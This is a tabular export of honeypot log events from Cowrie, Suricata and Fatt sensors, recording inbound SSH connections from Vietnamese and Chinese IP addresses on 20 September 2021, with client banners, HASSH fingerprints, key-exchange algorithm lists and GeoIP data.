26898	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.183374+03	2021-09-20 14:15:13.870646+03	{"_id": "lgbpAnwBvYTbRNuEFyRJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9ac8ae280a7a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:22.183374Z", "@timestamp": "2021-09-20T11:13:22.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26899	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.400282+03	2021-09-20 14:15:13.872647+03	{"_id": "mAbpAnwBvYTbRNuEFyRL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59952 (192.168.176.2:22) [session: da4d06f9f572]", "session": "da4d06f9f572", "@version": "1", "protocol": "ssh", "src_port": 59952, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.400282Z", "@timestamp": "2021-09-20T11:13:22.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26900	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:22.530181+03	2021-09-20 14:15:13.873646+03	{"_id": "mQbpAnwBvYTbRNuEFyRL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5f3a09c65d31", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:22.530181Z", "@timestamp": "2021-09-20T11:13:22.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26901	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:13:22.807071+03	2021-09-20 14:15:13.874646+03	{"_id": "mwbpAnwBvYTbRNuEGSRR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2179461505227482, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46650, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.807071Z", "@timestamp": "2021-09-20T11:13:22.807Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26902	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:22.46393+03	2021-09-20 14:15:13.875646+03	{"_id": "oQbpAnwBvYTbRNuEGiR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.463930", "@timestamp": "2021-09-20T11:13:22.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26903	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:13:22.807217+03	2021-09-20 14:15:13.876646+03	{"_id": "ogbpAnwBvYTbRNuEGiR_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46650, "dest_port": 22, "timestamp": "2021-09-20T11:13:22.807217", "@timestamp": "2021-09-20T11:13:22.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26904	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:22.660117+03	2021-09-20 14:15:13.878647+03	{"_id": "qAbpAnwBvYTbRNuEGyQz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "da4d06f9f572", "@version": "1", "timestamp": "2021-09-20T11:13:22.660117Z", "@timestamp": "2021-09-20T11:13:22.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26906	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:22.807944+03	2021-09-20 14:15:13.880646+03	{"_id": "qgbpAnwBvYTbRNuEGyQz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5f3a09c65d31", "@version": "1", "timestamp": "2021-09-20T11:13:22.807944Z", "@timestamp": "2021-09-20T11:13:22.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26907	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:13:24.139155+03	2021-09-20 14:15:13.882646+03	{"_id": "qwbpAnwBvYTbRNuEHSQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "dest_ip": "192.168.20.116", "flow_id": 613866469028298, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35422, "dest_port": 22, "timestamp": "2021-09-20T11:13:24.139155Z", "@timestamp": "2021-09-20T11:13:24.139Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26908	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:23.849869+03	2021-09-20 14:15:13.883646+03	{"_id": "rgbpAnwBvYTbRNuEHiRo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "36.27.214.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35422, "timestamp": "2021-09-20T11:13:23.849869", "@timestamp": "2021-09-20T11:13:23.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
